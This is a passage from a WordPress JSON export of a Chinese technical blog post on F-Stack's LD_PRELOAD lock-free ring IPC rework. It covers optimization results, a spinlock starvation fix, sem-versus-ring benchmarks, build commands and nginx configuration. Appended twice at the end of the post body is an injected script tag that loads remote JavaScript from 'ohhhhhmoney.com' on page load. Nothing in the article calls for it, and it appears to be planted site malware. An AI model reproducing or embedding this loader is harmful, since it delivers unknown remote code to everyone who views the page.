\u5b9e\u73b0\u672c\u8eab\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u65b9\u6848 C \u7684\u5931\u8d25\uff08v3.3\uff0cH25\uff09<\/strong>\uff1a\u60f3\u7528 atomic pending_count \u65c1\u8def\u590d\u523b sem \u7684 nb_handled \u5feb\u901f\u8df3\u8fc7\uff0c\u7ed3\u679c QPS \u53cd\u52a3\u5316 4%\uff089.1w \u2192 8.7w\uff09\u3002\u6839\u56e0\uff1aAPP \u6bcf\u6b21 syscall \u591a\u5199 atomic 2-4 \u6b21\uff0c\u8de8\u6838 cache \u4e52\u4e53\u6bd4\u7701\u6389\u7684 dequeue \u8def\u5f84\u66f4\u8d35\u3002\u8fd9\u4e2a\u65b9\u6848\u5f53\u5929\u5b9e\u65bd\u5f53\u5929\u56de\u9000\uff0c\u4ee3\u7801\u968f\u540e\u5f7b\u5e95\u5220\u9664\uff08f344d945f\uff09\u3002\u6559\u8bad\u5199\u8fdb\u4e86\u6587\u6863\u7684&#8221;\u5bf9\u79f0\u8bc4\u4f30\u8868&#8221;\u65b9\u6cd5\u8bba\uff1a\u4efb\u4f55\u4f18\u5316\u5fc5\u987b\u540c\u65f6\u5217\u51fa&#8221;\u6d88\u9664\u7684\u7269\u7406\u91cf&#8221;\u548c&#8221;\u65b0\u5f15\u5165\u7684\u7269\u7406\u91cf&#8221;\uff0c\u540e\u8005\u6570\u91cf\u7ea7\u5fc5\u987b\u660e\u663e\u5c0f\u4e8e\u524d\u8005\u624d\u5141\u8bb8\u5b9e\u65bd\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>D2 \u7684\u6210\u529f\uff08v3.4\uff0c+9.7%\uff09<\/strong>\uff1a\u653e\u5f03\u54cd\u5e94 ring\uff0cfstack \u5904\u7406\u5b8c\u76f4\u63a5\u5199 sc-&gt;completion\uff08sc cache line 0 \u4e0a\u672c\u6765\u5c31\u9884\u7559\u7684\u5b57\u6bb5\uff09\uff0cAPP \u7aef spin completion \u6807\u5fd7\u3002\u5199\u9891\u7387\u4e0e sem \u57fa\u7ebf\u5b8c\u5168\u4e00\u81f4\uff0c\u96f6\u65b0\u8de8\u6838\u5b57\u6bb5\u3002QPS 9.1w \u2192 10.0w\uff0cff_ring_send_response \u4ece perf top \u6d88\u5931\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>D5\uff08+1.3%\uff09<\/strong>\uff1aff_ring_process_requests \u6539\u4e3a\u5148 rte_ring_empty() \u5185\u8054\u5feb\u901f\u7a7a\u5224\u65ad\uff0c\u7a7a\u65f6\u4e0d\u5c55\u5f00\u51fd\u6570\u8c03\u7528\u6808\u3002Self 18.98% \u2192 4.53%\uff0c\u4f46 QPS \u53ea\u6da8 1.3%\u2014\u2014\u7701\u4e0b\u7684 CPU \u7acb\u523b\u88ab main loop spin \u586b\u6ee1\u3002\u8fd9\u662f\u5173\u952e\u7684\u6d1e\u5bdf\u8d77\u70b9\uff1afstack lcore 100% CPU + 30us drain \u8bbe\u8ba1\u4e0b\uff0cIPC \u7701\u4e0b\u7684 CPU \u4e0d\u4f1a 1:1 \u53d8 QPS\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>D6\uff08+0.9%\uff09<\/strong>\uff1aff_handle_socket_ops_ring \u6807 static inline\uff0c\u4e3b\u5faa\u73af\u76f4\u63a5\u51fd\u6570\u540d\u8c03\u7528\uff08\u53bb\u51fd\u6570\u6307\u9488\uff09\uff0c\u4e0e sem \u6a21\u5f0f\u7684 ff_handle_socket_ops \u5bf9\u9f50\u300210.13w \u2192 10.22w\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6700\u7ec8\u6536\u655b\uff1aring \u5355 worker QPS 10.22w\uff0c\u8ddd sem \u7684 10.5w \u8fd8\u5dee 2.7%\u3002perf top \u663e\u793a\u4e24\u8fb9 main loop CPU \u5360\u6bd4\u5df2\u5b8c\u5168\u4e00\u81f4\uff0850.13% vs 50.41%\uff09\uff0c\u5269\u4f59\u5dee\u8ddd\u6765\u81ea rte_ring_sc_dequeue_burst \u7684 acquire fence \u548c ring \u5143\u6570\u636e\u7ef4\u62a4\u2014\u2014sem \u7684 dirty read \u662f plain load \u65e0 fence\u3002<strong>\u8fd9\u662f SPSC \u67b6\u6784\u7684\u7269\u7406\u4ee3\u4ef7\uff0c\u5355 worker \u5355 lcore \u573a\u666f\u4e0d\u53ef\u6d88\u9664<\/strong>\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.5 \u610f\u5916\u6536\u83b7\uff1asem \u8def\u5f84\u7684\u542f\u52a8\u9965\u997f\u4fee\u590d<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">ring \u653b\u575a\u8fc7\u7a0b\u4e2d\u987a\u5e26\u4fee\u4e86\u4e00\u4e2a\u8001\u95ee\u9898\uff088125beece\uff0c2026-05-25\uff09\u3002\u73b0\u8c61\uff1asem \u6a21\u5f0f + FF_MULTI_SC + config.ini \u91cc idle_sleep=0 \u65f6\uff0c\u591a worker \u542f\u52a8\u3001\u8fd8\u6ca1\u4efb\u4f55\u6d41\u91cf\uff0cnginx \u7b2c\u4e8c\u4e2a worker \u5361\u6b7b\u5728 ff_attach_so_context \u7684 rte_spinlock_lock\uff0cgdb \u5806\u6808\u548c\u6b7b\u9501\u4e00\u6a21\u4e00\u6837\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f46\u5b83\u662f\u9965\u997f\u4e0d\u662f\u6b7b\u9501\uff1afstack secondary lcore \u4e13\u6838\u7d27\u81ea\u65cb\uff0c\u6bcf 50-100us \u91ca\u9501\u4e00\u6b21\u4f46\u91ca\u9501\u7a97\u53e3 &lt;&lt;1us\uff08idle_sleep=0 \u4e0d\u8ba9 CPU\uff09\uff0cnginx worker \u662f\u666e\u901a\u8c03\u5ea6\u8fdb\u7a0b\uff0ccmpxchg \u6c38\u8fdc\u6162\u4e00\u62cd\uff0c\u547d\u4e2d\u7a97\u53e3\u6982\u7387\u8d8b\u8fd1 0\u3002\u4fee\u590d\u53ea\u6539\u4e86 13+\/5- \u884c\uff1a\u8fdb\u5165 while \u524d\u5feb\u7167 tmp\uff08in-use sc \u6570\uff09\uff0cunlikely(!tmp) \u65f6 unlock \u2192 pause \u2192 lock \u8ba9\u51fa\u7a97\u53e3\uff0c\u6709\u8d1f\u8f7d\u65f6\u96f6\u5f71\u54cd\u3002\u6700\u4f18\u8865\u4e01\u662f&#8221;\u6761\u4ef6\u6027\u8ba9\u51fa&#8221;\u4e0d\u662f&#8221;\u65e0\u6761\u4ef6\u8ba9\u51fa&#8221;\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u3010\u6ce81\u3011\u8fd9\u6761\u9965\u997f\u73b0\u8c61\u540c\u65f6\u8bf4\u660e\uff1a\u8de8\u8fdb\u7a0b\u81ea\u65cb\u9501\u7ade\u4e89\u91cc\uff0c\u4e13\u6838 DPDK lcore \u6c38\u8fdc\u80dc\u8fc7\u666e\u901a\u8c03\u5ea6\u8fdb\u7a0b\uff0c\u8fd9\u662f\u7269\u7406\u673a\u5236\u4e0d\u662f\u4ee3\u7801 bug\u3002\u80fd\u7528\u914d\u7f6e\uff08idle_sleep \u6539 1\uff09\u6d88\u9664\u7684\u73b0\u8c61\uff0c\u6839\u56e0 99% \u662f\u65f6\u95f4\u7a97\/\u8c03\u5ea6\u7c7b\u95ee\u9898\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.6 \u591a\u6838\u957f\u8fde\u63a5\u5b9e\u6d4b\uff1a\u6700\u7ec8\u8bc1\u4f2a ring \u7684\u8bbe\u8ba1\u76ee\u6807\uff08v3.5~v3.7\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5355 worker \u6536\u655b\u540e\u8f6c\u5411\u591a\u6838\u5bf9\u7167\u3002\u7ed3\u679c\u6bd4\u9884\u60f3\u6b8b\u9177\uff1a<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u573a\u666f<\/th><th>\u7ed3\u8bba<\/th><\/tr><\/thead><tbody><tr><td>\u591a\u6838\u77ed\u8fde\u63a5\uff081\/2\/4 \u6838\uff09<\/td><td>ring \u2261 sem\uff08\u5dee\u8ddd -1.9%\/0%\/-0.3%\uff0c\u566a\u58f0\u8303\u56f4\uff09<\/td><\/tr><tr><td>\u591a\u6838\u957f\u8fde\u63a5\uff081\/2\/4 \u6838\uff09<\/td><td>ring <strong>\u7a33\u5b9a\u52a3\u4e8e<\/strong> sem 2.4%~4.5%\uff0c\u65b9\u5411\u4e00\u81f4\u4e14\u5927\u4e8e\u566a\u58f0<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u957f\u8fde\u63a5\u628a ring \u7684\u52a3\u52bf\u653e\u5927\u800c\u4e0d\u662f\u62b5\u6d88\uff1aFF_MULTI_SC \u4e0b\u6bcf\u4e2a fstack lcore \u4e0e nginx worker \u662f 1:1 \u540c zone\uff0csem \u7684 zone \u9501\u662f fstack lcore \u72ec\u5360\u6301\u6709\uff08cache line \u4e00\u76f4 exclusive\uff0c\u8fd1\u4e4e\u96f6\u6210\u672c\uff09\uff0c\u800c ring \u6bcf\u6b21 dequeue \u90fd\u8981 acquire fence \u540c\u6b65\u5185\u5b58\u7cfb\u7edf\uff0c\u9ad8 QPS \u4e0b\u7ebf\u6027\u653e\u5927\u3002\u5f53\u521d&#8221;\u957f\u8fde\u63a5\u4e0b sem \u5168\u7a0b\u6301\u9501\u538b\u529b\u5347\u9ad8\u3001ring lock-free \u4f18\u52bf\u5c06\u663e\u73b0&#8221;\u7684\u9884\u6d4b\u88ab\u5f7b\u5e95\u8bc1\u4f2a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">v3.7 \u7ec8\u7248\u7ed3\u8bba\uff082026-05-25 \u665a\uff09\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>\u6027\u80fd\u5c42\u9762<\/strong>\uff1aring \u5728\u4efb\u4f55\u5df2\u6d4b\u573a\u666f\u4e0b\u5747\u65e0 net win\uff0csem \u4ecd\u662f LD_PRELOAD + FF_MULTI_SC \u7684\u6700\u4f18\u914d\u7f6e<\/li><li><strong>\u9c81\u68d2\u6027\u5c42\u9762<\/strong>\uff1aring \u4e3b\u5faa\u73af lock-free \u7684\u7406\u8bba\u4ef7\u503c\uff08\u542f\u52a8\u9965\u997f\u514d\u75ab\uff09\u5df2\u88ab 8125beece \u5728 sem \u6e90\u5934\u4fee\u590d<\/li><li><strong>\u67b6\u6784\u5c42\u9762<\/strong>\uff1aring \u4ee3\u7801\u4fdd\u7559\uff08FF_USE_RING_IPC + D2\/D5\/D6 \u4f5c\u4e3a\u9ed8\u8ba4\u884c\u4e3a\uff0cc62d56a3b\uff09\uff0c\u4f5c\u4e3a&#8221;\u591a\u7ebf\u7a0b\u540c\u8fdb\u7a0b\u5171\u4eab sc&#8221;\u548c&#8221;\u591a\u8fdb\u7a0b\u95f4\u5171\u4eab sc\uff08worker \u6570 &gt; fstack \u5b9e\u4f8b\u6570\uff09&#8221;\u7684\u672a\u6765\u9884\u7559\u80fd\u529b\uff0c\u5f53\u524d fork \u591a\u8fdb\u7a0b\u573a\u666f\u9ed8\u8ba4\u4e0d\u542f\u7528<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">\u3010\u6ce82\u3011\u8fd9\u4e2a\u6536\u655b\u7ed3\u8bba\u503c\u5f97\u53cd\u590d\u770b\uff1a\u4e00\u4e2a\u8bbe\u8ba1\u826f\u597d\u3001\u5b9e\u73b0\u4e86\u5b8c\u6574 spec\u3001\u4f18\u5316\u4e86\u4e03\u8f6e\u7684\u65b9\u6848\uff0c\u6700\u7ec8\u88ab\u5bf9\u7167\u5b9e\u9a8c\u5224\u5b9a&#8221;\u4e0d\u5982\u8001\u65b9\u6848&#8221;\u3002\u5982\u679c\u53ea\u6709\u5b9e\u73b0\u6ca1\u6709\u5bf9\u7167\u57fa\u7ebf\uff0c\u8fd9\u4e2a\u7ed3\u8bba\u6c38\u8fdc\u4e0d\u4f1a\u51fa\u73b0\u3002\u6027\u80fd\u4f18\u5316\u5de5\u4f5c\u91cc\uff0c&#8221;\u5bf9\u7167\u7ec4\u5148\u4e8e\u4f18\u5316&#8221;\u6bd4&#8221;\u6570\u636e\u5148\u4e8e\u7406\u8bba&#8221;\u66f4\u503c\u94b1\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.7 ring \u4e4b\u540e\u8fd8\u5728\u7ee7\u7eed\uff082026-05 ~ 08\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6536\u655b\u4e4b\u540e\u6a21\u5757\u6ca1\u6709\u505c\uff1aREADME \u5168\u9762\u5237\u65b0\uff08bc7c380b2\uff0c2026-05-26\uff09\uff1bff_hook_bind \u589e\u52a0 addrlen \u8fb9\u754c\u68c0\u67e5\uff088762e05c1\uff0c2026-06-08\uff0c#1068\uff09\uff1b\u65b0\u589e UDP echo server \u793a\u4f8b\uff082215dc4f2\uff0c2026-08-07\uff0c#1063\uff09\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">5. \u5982\u4f55\u4f7f\u7528\u3001\u5982\u4f55\u914d\u7f6e\u3001\u4f7f\u7528\u6548\u679c<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">5.1 \u7f16\u8bd1<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">export FF_PATH=\/data\/f-stack<br>export PKG_CONFIG_PATH=\/usr\/lib64\/pkgconfig:\/usr\/local\/lib64\/pkgconfig:\/usr\/lib\/pkgconfig<br>\u200b<br>cd \/data\/f-stack\/adapter\/syscall<br># Nginx \u65e0\u7f1d\u63a5\u5165\uff1a\u540c\u65f6\u5f00 FF_KERNEL_EVENT + FF_MULTI_SC<br>export FF_KERNEL_EVENT=1<br>export FF_MULTI_SC=1<br># \u53ef\u9009\uff1a\u542f\u7528\u65e0\u9501 ring IPC\uff08\u9ed8\u8ba4\u5173\u95ed\uff0c\u89c1 5.4 \u63a8\u8350\u914d\u7f6e\uff09<br>#export FF_USE_RING_IPC=1<br>make clean; make all<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7f16\u8bd1\u4ea7\u7269\uff1afstack\uff08\u5b9e\u4f8b\u7a0b\u5e8f\uff09\u3001libff_syscall.so\uff08\u52ab\u6301\u5e93\uff09\u30015 \u4e2a helloworld \u793a\u4f8b + main_stack_udp \u793a\u4f8b\u3002FF_USE_RING_IPC \u4e0e FF_PRELOAD_POLLING_MODE \u4e92\u65a5\uff0cMakefile \u6709\u7f16\u8bd1\u671f\u68c0\u67e5\uff0c\u540c\u65f6\u5b9a\u4e49\u76f4\u63a5\u62a5\u9519\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.2 \u8fd0\u884c<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\"># 1. \u5148\u8d77 fstack \u5b9e\u4f8b\uff08lcore_mask \u7b49\u914d\u7f6e\u540c\u6807\u51c6 F-Stack\uff09<br>bash .\/start.sh -b adapter\/syscall\/fstack<br>\u200b<br># 2. \u518d\u4ee5 LD_PRELOAD \u65b9\u5f0f\u62c9\u8d77\u5e94\u7528<br>export LD_PRELOAD=\/data\/f-stack\/adapter\/syscall\/libff_syscall.so<br>export FF_NB_FSTACK_INSTANCE=4 &nbsp; &nbsp; &nbsp; &nbsp;# \u4e0e nginx worker \u6570 1:1<br>\/usr\/local\/nginx\/sbin\/nginx<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd0\u884c\u65f6\u73af\u5883\u53d8\u91cf\uff1aFF_NB_FSTACK_INSTANCE\uff08\u5b9e\u4f8b\u6570\uff0c\u9ed8\u8ba4 1\uff09\u3001FF_INITIAL_LCORE_ID\uff08\u8d77\u59cb\u6838\uff0c\u9ed8\u8ba4 0x4\uff09\u3001FF_PROC_ID\uff08\u8fdb\u7a0b\u53f7\uff0c\u914d\u5408 CPU \u7ed1\u5b9a\uff09\u3002\u5e94\u7528\u80fd\u81ea\u5df1\u7ed1\u6838\u7684\uff08\u5982 nginx worker_cpu_affinity\uff09\u4f18\u5148\u81ea\u5df1\u7ed1\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.3 Nginx \u914d\u7f6e\u8981\u70b9\uff08\u514d\u6539\u4ee3\u7801\uff0c\u4f46\u8981\u8c03\u914d\u7f6e\uff09<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">worker_processes  4;<br>worker_cpu_affinity 10000 100000 1000000 10000000;<br>\u200b<br>events {<br> &nbsp; &nbsp;worker_connections  1024;<br> &nbsp; &nbsp;multi_accept on; &nbsp; &nbsp; &nbsp;# F-Stack epoll \u662f kqueue \u5c01\u88c5\uff0c\u5fc5\u987b\u5f00<br> &nbsp; &nbsp;use epoll;<br>}<br>\u200b<br>http {<br> &nbsp; &nbsp;access_log  off;<br> &nbsp; &nbsp;sendfile &nbsp;  off; &nbsp; &nbsp; &nbsp;# \u7528 F-Stack \u5fc5\u987b\u5173<br> &nbsp; &nbsp;keepalive_timeout  0;<br>\u200b<br> &nbsp; &nbsp;server {<br> &nbsp; &nbsp; &nbsp; &nbsp;listen &nbsp; &nbsp; &nbsp; 80 reuseport; &nbsp; # \u6bcf\u4e2a fd \u5bf9\u63a5\u4e0d\u540c fstack \u5b9e\u4f8b\u7684 sc<br> &nbsp; &nbsp; &nbsp; &nbsp;location \/ {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return 200 \"0123456789abcdefghijklmnopqrstuvwxyz\";<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u6ce8\u610f kern.maxfiles \u4e0d\u5e94\u5927\u4e8e 65536\uff08\u4fdd\u8bc1 epoll fd \u5230\u5185\u6838 fd \u7684\u6b63\u786e\u6620\u5c04\uff09\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.4 \u4f7f\u7528\u6548\u679c\u4e0e\u63a8\u8350\u914d\u7f6e<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u6027\u80fd\u6570\u636e\uff08E5-2670 v3 \u53cc\u8def \/ 10G X540\uff0cv3.7 \u7ec8\u7248\u5b9e\u6d4b\uff09\uff1a<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u573a\u666f<\/th><th>Sem<\/th><th>Ring<\/th><th>\u5dee\u8ddd<\/th><\/tr><\/thead><tbody><tr><td>\u591a\u6838\u77ed\u8fde\u63a5 1\/2\/4 \u6838\uff08\u4e07 QPS\uff09<\/td><td>10.4 \/ 20.8 \/ 35.9<\/td><td>10.2 \/ 20.8 \/ 35.8<\/td><td>\u22642%\uff08\u566a\u58f0\uff09<\/td><\/tr><tr><td>\u591a\u6838\u957f\u8fde\u63a5 1\/2\/4 \u6838\uff08\u4e07 QPS\uff09<\/td><td>33.3 \/ 65.9 \/ 130.5<\/td><td>31.8 \/ 64.3 \/ 127.0<\/td><td>-2.4%~-4.5%<\/td><\/tr><tr><td>\u5355 worker \u4f18\u5316\u8f68\u8ff9<\/td><td>\u2014<\/td><td>9.1w \u2192 10.22w\uff08+12.3%\uff09<\/td><td>\u8ddd sem 10.5w \u5dee 2.7%<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u751f\u4ea7\u63a8\u8350\u914d\u7f6e\uff082026-05-25 \u7ec8\u7248\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># LD_PRELOAD + nginx \u591a worker \u63a8\u8350\uff08\u9ed8\u8ba4\uff0c\u4e0d\u5f00 ring\uff09<br>make FF_KERNEL_EVENT=1 FF_MULTI_SC=1<br># config.ini: idle_sleep = 0\uff088125beece \u4e4b\u540e\u5b89\u5168\uff09\uff0cpkt_tx_delay = 50\uff08\u77ed\u8fde\u63a5\uff09\/ 100\uff08\u957f\u8fde\u63a5\uff09<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">ring \u8def\u5f84\u4ec5\u5728\u4ee5\u4e0b\u4efb\u4e00\u60c5\u51b5\u542f\u7528\uff1a\u5355\u8fdb\u7a0b\u5185\u591a\u7ebf\u7a0b\u9700\u5171\u4eab sc\uff1b\u591a\u8fdb\u7a0b\u95f4\u5171\u4eab sc\uff08worker \u6570 &gt; fstack \u5b9e\u4f8b\u6570\uff09\uff1b\u6216\u8005\u63a5\u53d7 -2.4%~-4.5% \u7684\u6027\u80fd\u635f\u5931\u6362\u53d6\u4e3b\u5faa\u73af lock-free \u8bbe\u8ba1\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bf9 F-Stack \u4f7f\u7528\u8005\u7684\u6574\u4f53\u5efa\u8bae\uff1aLD_PRELOAD \u662f&#8221;\u5c11\u6539\u4ee3\u7801&#8221;\u7684\u6298\u4e2d\uff0c\u4e0d\u662f&#8221;\u6027\u80fd\u6700\u4f18&#8221;\u7684\u8def\u5f84\u3002\u8981\u8ffd\u6c42\u6781\u81f4\u8fd8\u662f\u6807\u51c6 F-Stack \u6539\u4ee3\u7801\u63a5\u5165\uff1b\u53ea\u60f3\u5feb\u901f\u8fc1\u79fb\u5b58\u91cf\u5e94\u7528\uff0cLD_PRELOAD + sem \u9ed8\u8ba4\u914d\u7f6e\u5c31\u591f\u7528\uff0cring \u7b49\u672a\u6765\u591a\u5bf9\u591a\u5171\u4eab\u573a\u666f\u518d\u542f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">6. \u5ef6\u4f38\u9605\u8bfb\uff1a<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>ring \u9700\u6c42\/\u67b6\u6784\/\u63a5\u53e3\/\u6d4b\u8bd5 spec\uff1adocs\/ld_preload_ring_spec\/zh_cn\/01~04<\/li><li>v3.7 \u7ec8\u7248\u6027\u80fd\u5206\u6790\uff08\u4e03\u8f6e\u8fed\u4ee3\u5b8c\u6574\u590d\u76d8\uff09\uff1adocs\/ld_preload_ring_spec\/zh_cn\/ring_ipc_perf_offline_analysis.md<\/li><li>\u6a21\u5757\u5b98\u65b9\u6587\u6863\uff08\u542b 2023-05 ~ 2026-05 \u5168\u90e8 feature updates\uff09\uff1aadapter\/syscall\/README.md<\/li><li>\u521d\u7248\u516c\u4f17\u53f7\u4ecb\u7ecd\uff082023-05\uff09\uff1a<a href=\"https:\/\/mp.weixin.qq.com\/s\/hmxCEu0kOzp5X5TEB7r3OQ\">https:\/\/mp.weixin.qq.com\/s\/hmxCEu0kOzp5X5TEB7r3OQ<\/a><\/li><li>\u4e09\u5c42\u67b6\u6784\u6587\u6863\uff1adocs\/zh_cn\/01-LAYER1-ARCHITECTURE.md<\/li><li>\u77e5\u8bc6\u56fe\u8c31\uff1adocs\/zh_cn\/KNOWLEDGE_GRAPH_WIKI.md<\/li><li>\u5386\u53f2 issue \u6863\u6848\uff1adocs\/zh_cn\/f-stack-issue-ana.md<\/li><\/ul>\n<script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script>","protected":false},"excerpt":{"rendered":"<p>1. \u672c\u529f\u80fd\u4e3b\u8981\u4f5c\u7528\u548c\u7279\u70b9 F-Stack \u7684 LD_PRELOAD \u6a21\u5757\uff08libff_syscall.so\uff09 &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/lovelyping.com\/?p=464\" class=\"more-link\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">\u201cF-Stack 2.0 \u524d\u77bb 6 : LD_PRELOAD \u65e0\u9501 Ring IPC \u6539\u9020\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16,47],"tags":[40,56,21,31],"class_list":["post-464","post","type-post","status-publish","format-standard","hentry","category-f-stack","category-f-stack-2-0","tag-ai","tag-dpdk","tag-f-stack","tag-ld_preload"],"_links":{"self":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/464","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=464"}],"version-history":[{"count":3,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/464\/revisions"}],"predecessor-version":[{"id":754,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/464\/revisions\/754"}],"wp:attachment":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=464"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=464"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=464"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}